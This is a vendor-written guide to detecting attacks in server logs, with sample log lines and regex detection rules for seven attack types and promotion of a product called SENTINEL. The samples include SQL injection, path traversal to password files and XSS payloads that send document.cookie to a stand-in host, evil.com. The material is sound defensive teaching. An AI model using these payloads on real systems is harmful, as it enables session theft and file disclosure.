Every request that hits your server leaves a trace. Every failed login, every malformed URL, every suspicious query string parameter is recorded somewhere in your log files. The question is not whether your logs contain evidence of attacks — they almost certainly do. The question is whether anyone is looking.
Server log analysis is the oldest and most fundamental technique in security monitoring. Long before SIEM platforms, threat intelligence feeds, and AI-powered anomaly detection existed, security teams were reading log files line by line to find evidence of compromise. That manual approach does not scale, but the principle behind it remains as relevant as ever: your logs tell the story of every attack against your infrastructure, if you know how to read them.
This guide provides a practical, hands-on approach to security log analysis. We cover the anatomy of security-relevant log entries, walk through seven specific attack patterns with regex detection rules for each, explain how to build a log analysis pipeline, and introduce a free tool that automates the entire process. Whether you are a solo developer reviewing Apache access logs or a security engineer building a monitoring stack, this guide gives you patterns you can apply immediately.
The scale of the problem: According to aggregated incident response data, the average time to detect a breach remains over 200 days in 2026. In the majority of post-breach investigations, evidence of the attack was present in server logs weeks or months before discovery. The logs were there. Nobody was reading them.
1. Why Log Analysis is Your First Line of Defense
Firewalls block known bad traffic. WAFs filter malicious payloads. Endpoint detection catches malware on hosts. But all of these tools operate on predefined rules and signatures. When an attacker uses a novel technique, a valid credential, or a slow-and-low approach designed to stay under threshold-based alerts, these perimeter defenses may not trigger.
Logs, by contrast, record everything indiscriminately. They capture the full sequence of events — the reconnaissance phase where an attacker probes for valid URLs, the exploitation phase where they send crafted payloads, and the post-exploitation phase where they access sensitive resources or exfiltrate data. The evidence is there regardless of whether the attack matches a known signature.
What Logs Reveal That Other Tools Miss
- Low-and-slow attacks: A brute-force attempt spread across hours or days, rotating source IPs, stays under rate-limiting thresholds but leaves a clear pattern of failed authentication events in logs
- Insider threats: A legitimate user accessing resources outside their normal pattern — downloading bulk data at 3 AM, accessing other users' records — generates no firewall alerts but produces obvious anomalies in access logs
- Credential stuffing: Thousands of login attempts using different username/password pairs from distributed IPs create a distinctive pattern of high failure rates across many accounts that only log analysis can correlate
- Supply chain compromise: A compromised dependency making outbound calls to a command-and-control server generates entries in egress logs that network monitoring might miss if the destination is not on a blocklist
- Privilege escalation: An attacker who gains access through a low-privilege account and then escalates leaves a trail of authorization failures followed by sudden access to administrative endpoints
Key principle: Logs are your immutable audit trail. An attacker can delete their tools, cover their tracks on the filesystem, and clear their shell history. But if your logs are shipped to a central store in real time, that evidence is preserved. This is why log integrity and centralized collection are foundational security controls, not optional enhancements.
2. Anatomy of a Security-Relevant Log Entry
Before you can detect attacks in logs, you need to understand what log entries look like, what fields they contain, and how different log formats encode the same information. The two broad categories are structured and unstructured logs, and the difference has significant implications for analysis efficiency.
Unstructured Logs (Plain Text)
Traditional server logs are plain text, one line per event, with fields separated by spaces, dashes, or brackets. The most common format is the Apache/Nginx Combined Log Format:
192.168.1.105 - admin [04/Apr/2026:14:23:17 +0000] "GET /admin/dashboard HTTP/1.1" 200 4523 "https://example.com/login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" # Field breakdown: # 192.168.1.105 -> Client IP address # - -> Identity (usually blank) # admin -> Authenticated username # [04/Apr/2026:14:23:17] -> Timestamp with timezone # "GET /admin/dashboard" -> HTTP method and URI # HTTP/1.1 -> Protocol version # 200 -> HTTP status code # 4523 -> Response size in bytes # "https://..." -> Referrer URL # "Mozilla/5.0..." -> User-Agent string
Unstructured logs are human-readable but require regex parsing for automated analysis. Every analysis tool must implement format-specific parsers, and any deviation from the expected format (custom fields, multi-line stack traces, embedded JSON) breaks the parser.
Structured Logs (JSON, Key-Value)
Modern applications increasingly emit structured logs in JSON format, where each field is explicitly named:
{
"timestamp": "2026-04-04T14:23:17.042Z",
"level": "warn",
"source_ip": "192.168.1.105",
"user": "admin",
"method": "POST",
"path": "/api/users/export",
"status": 200,
"response_bytes": 2847593,
"duration_ms": 1847,
"user_agent": "python-requests/2.31.0",
"geo": { "country": "RO", "city": "Bucharest" },
"tags": ["bulk-export", "pii-data"]
}
Structured logs are self-describing. Analysis tools can extract any field without regex, query across fields with standard operators, and handle schema evolution gracefully. If your application currently emits unstructured logs, migrating to structured JSON logging is one of the highest-leverage improvements you can make for security monitoring.
Severity Levels and Their Security Implications
| Level | Typical Use | Security Relevance |
|---|---|---|
| FATAL / EMERGENCY | Application crash, unrecoverable error | May indicate successful exploitation crashing a service |
| ERROR | Operation failed, exception thrown | SQL errors, authentication failures, input validation rejections — often the first sign of probing |
| WARN | Unexpected condition, degraded operation | Rate limit hits, deprecated endpoint access, certificate issues |
| INFO | Normal operations, state changes | Login events, permission changes, data exports — baseline for anomaly detection |
| DEBUG / TRACE | Detailed diagnostic data | May inadvertently log sensitive data (tokens, passwords, PII) — a security risk in itself |
Warning: Never enable DEBUG or TRACE logging in production unless actively troubleshooting a specific issue, and disable it immediately after. Debug logs frequently contain request bodies, database queries with parameter values, session tokens, and other sensitive data that should never be stored long-term in log files.
3. Seven Attack Patterns to Detect in Server Logs
Each pattern below includes a description of the attack, what it looks like in log entries, and a regex pattern you can use to detect it. These patterns are designed for common log formats (Apache, Nginx, IIS, application logs) and should be adapted to your specific log structure.
3.1 SQL Injection Attempts
CriticalSQL injection payloads in logs appear as unusual characters and SQL keywords embedded in URL parameters, POST bodies (if logged), or cookie values. Attackers probe with single quotes, UNION SELECT chains, OR 1=1 patterns, and time-based payloads.
# Classic SQL injection probes in access logs 192.168.1.50 - - [04/Apr/2026:09:14:22 +0000] "GET /products?id=1'%20OR%20'1'='1 HTTP/1.1" 500 3241 192.168.1.50 - - [04/Apr/2026:09:14:23 +0000] "GET /products?id=1%20UNION%20SELECT%20null,null,table_name%20FROM%20information_schema.tables-- HTTP/1.1" 200 8472 192.168.1.50 - - [04/Apr/2026:09:14:25 +0000] "GET /products?id=1;%20WAITFOR%20DELAY%20'0:0:5'-- HTTP/1.1" 200 0 192.168.1.50 - - [04/Apr/2026:09:14:31 +0000] "GET /products?id=1%20AND%20(SELECT%20SLEEP(5))-- HTTP/1.1" 200 0
# SQL injection detection pattern (case-insensitive) (\bunion\b.*\bselect\b|\bselect\b.*\bfrom\b.*\bwhere\b|'\s*(or|and)\s+'?\d.*=.*\d| \bwaitfor\b.*\bdelay\b|\bsleep\s*\(|\bexec\s*\(|xp_cmdshell| information_schema|--\s*$|;\s*(drop|alter|delete|update|insert)\b| \b(char|nchar|varchar)\s*\(|\bconvert\s*\(|%27|%2527) # Simplified single-line version for grep/log tools: (?i)(union\s+(all\s+)?select|or\s+1\s*=\s*1|'\s*or\s+'|waitfor\s+delay|sleep\s*\(|information_schema|xp_cmdshell)
3.2 Cross-Site Scripting (XSS) Payloads
CriticalXSS payloads in logs appear as HTML tags, JavaScript event handlers, and script injections embedded in request parameters. Reflected XSS payloads are visible in access logs because the malicious input is part of the URL.
# XSS probes in access logs (URL-encoded and plain)
10.0.0.33 - - [04/Apr/2026:11:05:44 +0000] "GET /search?q=%3Cscript%3Ealert('xss')%3C/script%3E HTTP/1.1" 200 5120
10.0.0.33 - - [04/Apr/2026:11:05:45 +0000] "GET /search?q=%3Cimg%20src=x%20onerror=alert(1)%3E HTTP/1.1" 200 5094
10.0.0.33 - - [04/Apr/2026:11:05:47 +0000] "GET /profile?name=<svg/onload=fetch('https://evil.com/steal?c='+document.cookie)> HTTP/1.1" 200 4830
10.0.0.33 - - [04/Apr/2026:11:05:48 +0000] "GET /comment?body=javascript:void(document.location='https://evil.com/'+document.cookie) HTTP/1.1" 200 2048
# XSS detection pattern (case-insensitive) (?i)(<script|%3cscript|<img\s|%3cimg|<svg|%3csvg|<iframe|%3ciframe| onerror\s*=|onload\s*=|onclick\s*=|onmouseover\s*=|onfocus\s*=| javascript\s*:|document\.cookie|document\.location|alert\s*\(| eval\s*\(|fromcharcode|%3c.*%3e)
3.3 Brute-Force Login Attacks
HighBrute-force attacks produce a distinctive pattern: a high volume of authentication requests from a single IP (or a small set of IPs) with a high failure rate. The key signal is repeated POST requests to login endpoints returning 401 or 403 status codes in rapid succession.
# Brute-force pattern: same IP, rapid login attempts, mostly failures 45.33.32.156 - - [04/Apr/2026:03:12:01 +0000] "POST /api/auth/login HTTP/1.1" 401 84 45.33.32.156 - - [04/Apr/2026:03:12:01 +0000] "POST /api/auth/login HTTP/1.1" 401 84 45.33.32.156 - - [04/Apr/2026:03:12:02 +0000] "POST /api/auth/login HTTP/1.1" 401 84 45.33.32.156 - - [04/Apr/2026:03:12:02 +0000] "POST /api/auth/login HTTP/1.1" 401 84 45.33.32.156 - - [04/Apr/2026:03:12:03 +0000] "POST /api/auth/login HTTP/1.1" 401 84 45.33.32.156 - - [04/Apr/2026:03:12:03 +0000] "POST /api/auth/login HTTP/1.1" 200 1547 # Success after many failures # Auth log (syslog) equivalent: Apr 4 03:12:01 web-01 sshd[4821]: Failed password for admin from 45.33.32.156 port 44231 Apr 4 03:12:02 web-01 sshd[4822]: Failed password for admin from 45.33.32.156 port 44232 Apr 4 03:12:03 web-01 sshd[4823]: Failed password for root from 45.33.32.156 port 44233
# Brute-force detection: match failed auth events for threshold counting # Access logs: POST to auth endpoints with 401/403 (?i)(POST\s+/(login|signin|auth|api/auth|oauth/token|wp-login\.php|administrator).*\s(401|403)\s) # Syslog/auth logs: failed password events (Failed password for|authentication failure|Invalid credentials for|FAILED LOGIN)
Detection logic: A single 401 is normal. The signal is frequency. Set a threshold: more than 10 failed login attempts from the same IP within 5 minutes, or more than 5 failed attempts against the same account within 10 minutes, should trigger an alert. This is exactly the kind of temporal correlation that automated log analysis tools excel at.
3.4 Path Traversal and Local File Inclusion
CriticalPath traversal attacks attempt to access files outside the web root by injecting ../ sequences or absolute file paths into request parameters. In logs, these appear as URLs containing directory traversal sequences targeting sensitive system files.
# Path traversal attempts targeting sensitive files 10.0.0.88 - - [04/Apr/2026:08:41:11 +0000] "GET /download?file=../../../etc/passwd HTTP/1.1" 200 1284 10.0.0.88 - - [04/Apr/2026:08:41:12 +0000] "GET /download?file=..%2f..%2f..%2fetc%2fshadow HTTP/1.1" 403 0 10.0.0.88 - - [04/Apr/2026:08:41:13 +0000] "GET /include?page=....//....//....//etc/passwd HTTP/1.1" 200 1284 10.0.0.88 - - [04/Apr/2026:08:41:14 +0000] "GET /api/files?path=C:\Windows\System32\config\SAM HTTP/1.1" 403 0 10.0.0.88 - - [04/Apr/2026:08:41:15 +0000] "GET /view?doc=/proc/self/environ HTTP/1.1" 200 892
# Path traversal detection pattern (\.\./|\.\.\\|%2e%2e%2f|%2e%2e\/|\.%2e/|%2e\./|%252e%252e| /etc/(passwd|shadow|hosts|crontab)| /proc/self/(environ|cmdline|maps)| /(windows|winnt)/system32| \.(htaccess|htpasswd|env|git/config|ssh/authorized_keys))
3.5 Credential Stuffing
HighUnlike brute force, credential stuffing uses known username/password pairs from previous data breaches. The pattern differs: instead of many attempts against one account, you see single attempts against many different accounts, often with a moderate success rate (1-3%) because some users reuse passwords across services.
# Credential stuffing: many different usernames, one attempt each, distributed sources 185.220.101.1 - - [04/Apr/2026:02:30:01 +0000] "POST /login HTTP/1.1" 401 84 # user: john.smith@corp.com 185.220.101.2 - - [04/Apr/2026:02:30:01 +0000] "POST /login HTTP/1.1" 401 84 # user: sarah.jones@corp.com 185.220.101.3 - - [04/Apr/2026:02:30:02 +0000] "POST /login HTTP/1.1" 200 1523 # user: mike.wilson@corp.com (success!) 185.220.101.4 - - [04/Apr/2026:02:30:02 +0000] "POST /login HTTP/1.1" 401 84 # user: lisa.chen@corp.com 185.220.101.5 - - [04/Apr/2026:02:30:03 +0000] "POST /login HTTP/1.1" 401 84 # user: david.brown@corp.com # Distinguishing characteristics vs. brute force: # - Different IPs (often from botnets or proxy networks) # - Different usernames per attempt # - Only 1-2 attempts per account # - Low but non-zero success rate # - Automated: uniform timing, identical user-agent strings
# Credential stuffing is best detected through statistical analysis, not regex alone. # However, these patterns identify the login events for correlation: # Match all login attempts (for statistical analysis) (?i)(POST\s+/(login|signin|auth|api/auth|authenticate|session)\s.*HTTP) # Flag suspicious user-agent patterns common in stuffing tools (python-requests/|Go-http-client/|axios/|curl/|libwww-perl|mechanize|scrapy)
3.6 Data Exfiltration Indicators
CriticalData exfiltration is often the final stage of an attack and the most damaging. In logs, exfiltration appears as unusually large responses, bulk data access patterns, or access to data export endpoints by accounts or IPs that do not normally use them.
# Data exfiltration indicators in access logs # 1. Unusually large responses (normal page is ~5KB, this is 28MB) 10.0.0.12 - compromised_user [04/Apr/2026:03:47:22 +0000] "GET /api/customers/export?format=csv HTTP/1.1" 200 29384756 # 2. Bulk record access (sequential ID enumeration) 10.0.0.12 - compromised_user [04/Apr/2026:03:48:01 +0000] "GET /api/customers/1 HTTP/1.1" 200 2048 10.0.0.12 - compromised_user [04/Apr/2026:03:48:01 +0000] "GET /api/customers/2 HTTP/1.1" 200 1893 10.0.0.12 - compromised_user [04/Apr/2026:03:48:01 +0000] "GET /api/customers/3 HTTP/1.1" 200 2104 # ... continues through thousands of records # 3. Off-hours access to sensitive endpoints 10.0.0.12 - compromised_user [04/Apr/2026:03:47:00 +0000] "GET /api/reports/financial-summary HTTP/1.1" 200 45231 # This user normally accesses this endpoint Mon-Fri 9-5, not Saturday at 3:47 AM # 4. DNS exfiltration in DNS query logs query: aGVsbG8gd29ybGQ=.data.attacker-domain.com # base64-encoded data in subdomain
# Data exfiltration detection patterns
# Large response sizes (adjust threshold for your application)
# Match access log lines where response bytes exceed 10MB
\s(1\d{7,}|[2-9]\d{7,}|\d{9,})\s # response size > 10,000,000 bytes
# Sensitive data export endpoints
(?i)(/(export|download|dump|backup|extract|bulk)(\?|/|\.csv|\.json|\.xlsx|\.sql))
# Sequential ID enumeration (detect in aggregated analysis)
(?i)(GET\s+/api/\w+/\d+\s) # Flag for frequency analysis per IP per path pattern
3.7 Privilege Escalation Attempts
CriticalPrivilege escalation attacks show a distinctive pattern in logs: a user or session that initially accesses low-privilege resources suddenly begins accessing administrative endpoints, modifying user roles, or performing operations that require elevated permissions.
# Privilege escalation pattern: normal access followed by admin access # Phase 1: Normal user behavior 10.0.0.20 - regular_user [04/Apr/2026:10:00:00 +0000] "GET /dashboard HTTP/1.1" 200 8234 10.0.0.20 - regular_user [04/Apr/2026:10:00:15 +0000] "GET /api/profile HTTP/1.1" 200 1024 # Phase 2: Probing admin endpoints (403 = access denied) 10.0.0.20 - regular_user [04/Apr/2026:10:01:30 +0000] "GET /admin/users HTTP/1.1" 403 0 10.0.0.20 - regular_user [04/Apr/2026:10:01:31 +0000] "GET /admin/settings HTTP/1.1" 403 0 10.0.0.20 - regular_user [04/Apr/2026:10:01:32 +0000] "POST /api/users/self/role HTTP/1.1" 403 0 # Phase 3: Successful escalation (something changed) 10.0.0.20 - regular_user [04/Apr/2026:10:02:45 +0000] "PUT /api/users/42/role HTTP/1.1" 200 128 10.0.0.20 - regular_user [04/Apr/2026:10:03:00 +0000] "GET /admin/users HTTP/1.1" 200 24576 10.0.0.20 - regular_user [04/Apr/2026:10:03:10 +0000] "GET /admin/settings HTTP/1.1" 200 8192 # Application log showing the role change: [WARN] User regular_user (id:42) role changed from 'viewer' to 'admin' by user regular_user
# Privilege escalation detection patterns # Access to admin/management endpoints (for threshold analysis per user) (?i)(/(admin|management|system|internal|superuser|root)(/|\s|$)) # Role/permission modification attempts (?i)((PUT|POST|PATCH)\s+.*/(role|permission|privilege|group|acl)s?\s) # Horizontal privilege escalation (user accessing other users' data) (?i)((GET|PUT|POST|DELETE)\s+/api/users/(?!self|me|current)\d+) # Sudo/su events in system logs (sudo:.*COMMAND=|su\[\d+\]:.*session opened|Accepted publickey for root)
Correlation is key: Individual log entries for any of these patterns may be benign. A single 401 is a typo. A single request to /admin is a curious user. The signal emerges from correlation — combining multiple events across time, grouping by source IP or user identity, and identifying sequences that match known attack progressions. This is where manual log analysis breaks down and automated tools become essential.
4. Building a Log Analysis Pipeline
Detecting attacks in log files requires more than regex patterns. You need a pipeline that collects logs from all sources, normalizes them into a consistent format, enriches them with contextual data, and correlates events across time and systems. Here is how each stage works.
Stage 1: Collection
The first challenge is getting log data from every source into a central location. In a typical infrastructure, security-relevant logs are scattered across web servers, application servers, databases, load balancers, authentication systems, firewalls, DNS resolvers, and cloud provider audit trails.
Common Log Sources for Security Analysis
Web servers: Apache access/error logs, Nginx access/error logs, IIS logs
Application logs: Custom application logs, framework logs (ASP.NET, Django, Rails), API gateway logs
Authentication: Active Directory event logs, LDAP logs, OAuth/OIDC provider logs, SSH auth logs
Infrastructure: Firewall logs, load balancer logs, DNS query logs, VPN connection logs
Cloud: AWS CloudTrail, Azure Activity Log, GCP Audit Logs, Kubernetes audit logs
Database: SQL Server audit logs, PostgreSQL pg_audit, MySQL general/slow query logs
Collection methods include file-based shipping (agents like Filebeat or Fluentd watch log files and forward new entries), syslog forwarding (network devices and Linux systems send logs over the network via syslog protocol), and API-based collection (cloud providers and SaaS applications expose logs through REST APIs).
Stage 2: Normalization
Raw logs from different sources use different formats, field names, timestamp formats, and severity levels. Normalization transforms all logs into a common schema so that a single query or rule can operate across all sources.
# Raw Apache log:
192.168.1.50 - admin [04/Apr/2026:14:23:17 +0000] "POST /login HTTP/1.1" 401 84
# Raw Windows Event Log:
EventID: 4625, TimeCreated: 2026-04-04T14:23:17Z, TargetUserName: admin,
IpAddress: 192.168.1.50, LogonType: 10, Status: 0xC000006D
# Normalized to common schema:
{
"timestamp": "2026-04-04T14:23:17Z",
"event_type": "authentication_failure",
"source_ip": "192.168.1.50",
"username": "admin",
"source_system": "web-01",
"raw_status": "401",
"log_source": "apache_access"
}
Stage 3: Enrichment
Raw log fields gain security value when combined with external context. Enrichment adds information that is not present in the original log entry but is critical for accurate threat assessment:
- GeoIP lookup: Convert source IP to country, city, and ASN. A login from an unexpected geography is a stronger signal than one from the user's usual location.
- Threat intelligence: Check source IPs against known malicious IP databases, Tor exit node lists, and cloud provider IP ranges. A scan from a known botnet command-and-control IP is higher priority than one from a residential ISP.
- Asset context: Map the target server or endpoint to its business function, data classification, and owner. An attack against a server hosting PII is more critical than one against a static documentation site.
- User context: Correlate the username with their role, department, typical working hours, and usual access patterns. An admin logging in at 3 AM from a new country warrants immediate attention.
- Historical baseline: Compare current activity against the historical norm. A server that normally handles 100 requests per minute suddenly receiving 10,000 requests per minute is anomalous regardless of whether the individual requests look malicious.
Stage 4: Correlation and Alerting
Correlation combines normalized, enriched events to detect multi-step attacks that no single log entry reveals. Correlation rules express conditions like "if more than N events of type X from the same source within T minutes, followed by an event of type Y, generate an alert of severity Z."
# Rule: Brute-force followed by successful login IF count(authentication_failure WHERE source_ip = $IP) > 10 IN 5 minutes AND THEN authentication_success WHERE source_ip = $IP IN 2 minutes THEN alert(severity=HIGH, type="brute_force_success", ip=$IP) # Rule: SQL injection probing IF count(request WHERE path MATCHES sqli_pattern AND source_ip = $IP) > 3 IN 10 minutes THEN alert(severity=CRITICAL, type="sqli_scan", ip=$IP) # Rule: Data exfiltration after privilege escalation IF role_change(user=$USER, new_role="admin") IN 30 minutes AND THEN request(user=$USER, path MATCHES "/export|/backup|/dump", response_bytes > 1000000) THEN alert(severity=CRITICAL, type="escalation_exfiltration", user=$USER)
The pipeline problem: Building and maintaining this pipeline from scratch requires significant infrastructure and ongoing effort. Log collection agents need monitoring. Parsers break when log formats change. Enrichment databases need regular updates. Correlation rules need tuning to reduce false positives. This operational overhead is the reason most organizations either invest in a SIEM platform or end up not doing log analysis at all. SENTINEL by Security Factor 365 was built to eliminate this gap — providing enterprise-grade log analysis without the enterprise-grade complexity.
5. Try It Now: Analyze Your Logs for Free
Reading about attack patterns is one thing. Seeing them detected in your own logs is another. SENTINEL by Security Factor 365 includes a free online log analyzer that you can use right now, without creating an account or installing any software.
Free SENTINEL Log Analyzer
Paste your server log entries into the analyzer and get instant results. SENTINEL parses the log format automatically, identifies attack patterns using the same detection engine as the full platform, and produces a security assessment with severity ratings and recommended actions.
What it detects: SQL injection probes, XSS payloads, brute-force patterns, path traversal attempts, suspicious user agents, anomalous response sizes, error rate spikes, and more.
No data stored: Your log data is analyzed in real time and never stored on our servers. The analysis runs entirely in-session.
What You Can Test
To see the analyzer in action, try pasting any of the log samples from this article. You can also use your own Apache, Nginx, or IIS access logs. Here is a sample set that includes multiple attack types for testing:
# Normal traffic (baseline) 192.168.1.10 - - [04/Apr/2026:10:00:00 +0000] "GET / HTTP/1.1" 200 4523 192.168.1.10 - - [04/Apr/2026:10:00:01 +0000] "GET /css/style.css HTTP/1.1" 200 1847 192.168.1.10 - - [04/Apr/2026:10:00:02 +0000] "GET /images/logo.png HTTP/1.1" 200 8234 # SQL injection probe 45.33.32.156 - - [04/Apr/2026:10:05:33 +0000] "GET /products?id=1'+OR+'1'='1 HTTP/1.1" 500 3241 # Brute-force attack 185.220.101.44 - - [04/Apr/2026:10:10:01 +0000] "POST /login HTTP/1.1" 401 84 185.220.101.44 - - [04/Apr/2026:10:10:02 +0000] "POST /login HTTP/1.1" 401 84 185.220.101.44 - - [04/Apr/2026:10:10:02 +0000] "POST /login HTTP/1.1" 401 84 185.220.101.44 - - [04/Apr/2026:10:10:03 +0000] "POST /login HTTP/1.1" 401 84 185.220.101.44 - - [04/Apr/2026:10:10:03 +0000] "POST /login HTTP/1.1" 200 1547 # Path traversal 10.0.0.88 - - [04/Apr/2026:10:15:22 +0000] "GET /download?file=../../../etc/passwd HTTP/1.1" 200 1284 # XSS payload 10.0.0.33 - - [04/Apr/2026:10:20:44 +0000] "GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 5120
Pro tip: Export a few hundred lines from your production access logs and run them through the analyzer. Most teams are surprised by the number of probing attempts they discover. Even if your WAF blocks these attacks, understanding the volume and types of attacks targeting your infrastructure informs your security priorities.
6. From Manual to AI-Powered: The SENTINEL Approach
The regex patterns in this article are effective for known attack signatures, but they have fundamental limitations. Regex cannot detect novel attack variants, cannot establish behavioral baselines, and cannot adapt to the unique patterns of your specific environment. This is where AI-powered log analysis transforms the discipline.
SENTINEL by Security Factor 365 is an AI Log Intelligence platform built specifically for security teams who need more than pattern matching. It applies machine learning and natural language processing to log data to detect threats that rule-based systems miss.
Behavioral Baseline Learning
SENTINEL builds a model of normal behavior for every user, endpoint, and system in your environment. It learns that your development team accesses the staging server between 8 AM and 7 PM on weekdays, that your API gateway typically handles 2,000 requests per minute, and that database export endpoints are used by three specific service accounts. When activity deviates from these learned baselines, SENTINEL flags it as anomalous — even if the individual requests contain no malicious signatures.
Semantic Log Understanding
Traditional tools treat log entries as strings to be pattern-matched. SENTINEL understands the meaning of log entries. It recognizes that "authentication failure," "invalid credentials," "login denied," "bad password," and "access rejected: wrong password" all describe the same event type, even though they come from different systems with different log formats. This semantic understanding eliminates the need for format-specific parsers and enables cross-system correlation without manual mapping.
AI-Powered Anomaly Detection
SENTINEL uses multiple anomaly detection models working in parallel:
- Statistical anomaly detection: Identifies deviations from historical norms in request volume, error rates, response sizes, and timing patterns using time-series analysis
- Sequence analysis: Detects unusual sequences of events that match attack progressions (reconnaissance followed by exploitation followed by data access) even when individual events appear benign
- Clustering analysis: Groups similar log entries and identifies outliers that do not fit any established cluster, surfacing novel attack techniques that no rule would catch
- Natural language analysis: Processes the text content of log messages to identify semantic anomalies — error messages that have never appeared before, stack traces from unexpected code paths, or warning patterns that indicate a new class of problem
From Detection to Remediation
SENTINEL does not just tell you what happened. For each detected threat, it provides:
- Root cause analysis: A plain-language explanation of what the detected pattern means, how the attack works, and what the attacker is likely trying to achieve
- Impact assessment: An evaluation of what data or systems could be affected based on the attack type and the target endpoint's function
- Recommended actions: Specific, actionable steps to contain the threat, from blocking a source IP to resetting a compromised credential to patching a vulnerable endpoint
- Compliance mapping: How the event relates to compliance requirements (SOC 2, PCI DSS, HIPAA) and whether it constitutes a reportable incident
The efficiency difference: A security analyst reviewing logs manually can process approximately 50-100 log entries per minute with focused attention. A mid-size application generates 10,000-50,000 log entries per hour. The math is simple: manual review cannot keep pace. SENTINEL processes millions of entries per minute, applies hundreds of detection rules and AI models simultaneously, and surfaces only the events that require human attention — typically reducing the alert volume by 95% compared to rule-only systems.
7. Log Analysis for Compliance: SOC 2, PCI DSS, and HIPAA
Beyond threat detection, log analysis is a hard requirement for regulatory compliance. Every major security framework mandates logging, monitoring, and retention of security events. Failure to maintain adequate logs does not just leave you blind to attacks — it exposes the organization to regulatory penalties and audit failures.
SOC 2 (Trust Services Criteria)
SOC 2 Logging Requirements
CC6.1: The entity implements logical access security measures to protect against unauthorized access. Requires logging of all authentication events (successful and failed), access control changes, and privilege escalation.
CC7.2: The entity monitors system components for anomalies that indicate malicious acts, natural disasters, and errors affecting the entity's ability to meet its objectives. Requires active monitoring and anomaly detection on security-relevant logs.
CC7.3: The entity evaluates security events to determine whether they could or have resulted in a failure to meet objectives. Requires incident triage and investigation processes supported by log evidence.
Retention: SOC 2 does not specify a minimum retention period, but auditors typically expect 90 days to 1 year of log retention.
PCI DSS (v4.0)
PCI DSS Logging Requirements
Requirement 10.2: Implement automated audit trails for all system components to reconstruct specific events including: all individual user access to cardholder data, all actions by any individual with root or administrative privileges, access to all audit trails, invalid logical access attempts, use of identification and authentication mechanisms, initialization of audit logs, and creation/deletion of system-level objects.
Requirement 10.4: Audit logs are reviewed to identify anomalies or suspicious activity. Requires daily review of logs from all security events, all system components that store, process, or transmit CHD, all critical system components, and all servers that perform security functions.
Requirement 10.5: Audit trail history is retained for at least 12 months, with at least the most recent 3 months immediately available for analysis.
Requirement 10.7 (new in v4.0): Failures of critical security control systems are detected, alerted, and addressed promptly. Log collection failures must themselves be monitored.
HIPAA (Security Rule)
HIPAA Logging Requirements
164.312(b) - Audit Controls: Covered entities must implement hardware, software, and procedural mechanisms to record and examine activity in information systems that contain or use electronic Protected Health Information (ePHI).
164.308(a)(1)(ii)(D) - Information System Activity Review: Requires regular review of records of information system activity, such as audit logs, access reports, and security incident tracking reports.
164.308(a)(5)(ii)(C) - Log-in Monitoring: Procedures for monitoring log-in attempts and reporting discrepancies.
Retention: HIPAA requires documentation retention for 6 years. While this applies primarily to policies and procedures, audit logs supporting compliance should be retained for at least the same period for defensibility.
| Requirement | SOC 2 | PCI DSS | HIPAA |
|---|---|---|---|
| Authentication event logging | Required | Required | Required |
| Access to sensitive data logging | Required | Required | Required |
| Admin action logging | Required | Required | Required |
| Daily log review | Expected | Required | Required (periodic) |
| Anomaly detection / alerting | Required | Required | Addressable |
| Log integrity protection | Expected | Required | Addressable |
| Minimum retention | 90 days - 1 year | 12 months | 6 years |
| Centralized collection | Expected | Required | Addressable |
Compliance automation: SENTINEL includes pre-built compliance dashboards for SOC 2, PCI DSS, and HIPAA that map detected events to specific regulatory requirements. When an auditor asks "show me evidence that you monitor authentication failures," SENTINEL provides the answer with a single click — complete with event counts, response actions, and timeline visualization. This reduces audit preparation time from weeks to hours.
8. Getting Started with Real-Time Security Monitoring
If you are currently doing no log analysis, moving to full real-time monitoring can feel overwhelming. The good news is that meaningful improvement does not require deploying an enterprise SIEM on day one. Here is a phased approach that delivers security value at each stage.
Phase 1: Start with What You Have (Today)
You already have logs. Your web server, your application, and your authentication system are already generating security-relevant data. Start by identifying where these logs are stored and confirming they are being retained.
- Confirm your web server access logs are enabled and include the combined log format (client IP, timestamp, request, status code, response size, referrer, user agent)
- Confirm your application logs include authentication events (success and failure), authorization denials, and error conditions
- Run the sample regex patterns from Section 3 against yesterday's access logs. Count the matches. This gives you a baseline of the attack traffic you are receiving.
- Use the free SENTINEL log analyzer to get an instant security assessment of a sample of your logs
Phase 2: Centralize and Automate (This Week)
Move from ad-hoc log review to a consistent, repeatable process:
- Set up centralized log collection so that logs from all servers are available in one location (even a shared network drive is better than logs scattered across individual servers)
- Create a simple daily review process: spend 15 minutes each morning scanning for spikes in 401/403 status codes, new source IPs making large numbers of requests, and any 500 errors from previously stable endpoints
- Set up basic alerting: configure your monitoring system to notify you when authentication failure counts exceed a threshold
Phase 3: Deploy Automated Analysis (This Month)
Replace manual review with automated analysis that can process your full log volume in real time:
- Deploy SENTINEL or an equivalent log analysis platform that can ingest your log sources, apply detection rules, and generate alerts
- Start with the seven detection patterns from this guide as your baseline rule set
- Tune alert thresholds based on your environment's normal traffic patterns to minimize false positives
- Integrate alerting with your team's notification channel (email, Slack, PagerDuty) so that critical alerts reach the right person within minutes
Phase 4: Intelligence and Response (Ongoing)
Evolve from detection to intelligence-driven response:
- Enable AI-powered anomaly detection to catch threats that rule-based systems miss
- Build automated response playbooks: when SENTINEL detects a confirmed brute-force attack, automatically block the source IP at the firewall
- Generate compliance reports automatically to satisfy SOC 2, PCI DSS, and HIPAA audit requirements
- Conduct quarterly reviews of detection coverage, false positive rates, and mean time to detect to continuously improve your monitoring posture
The cost of not monitoring: The average cost of a data breach continues to rise year over year. Organizations with security AI and automation deployed experience breach costs significantly lower than those without, and detect breaches in a fraction of the time. Log analysis is not an optional enhancement to your security posture — it is the foundation that every other security capability builds upon.
Start Analyzing Your Logs in Minutes
SENTINEL by Security Factor 365 provides AI-powered log analysis, real-time anomaly detection, and compliance reporting — with a free tier that lets you start protecting your infrastructure today.
Try the Free Log Analyzer Request a Demo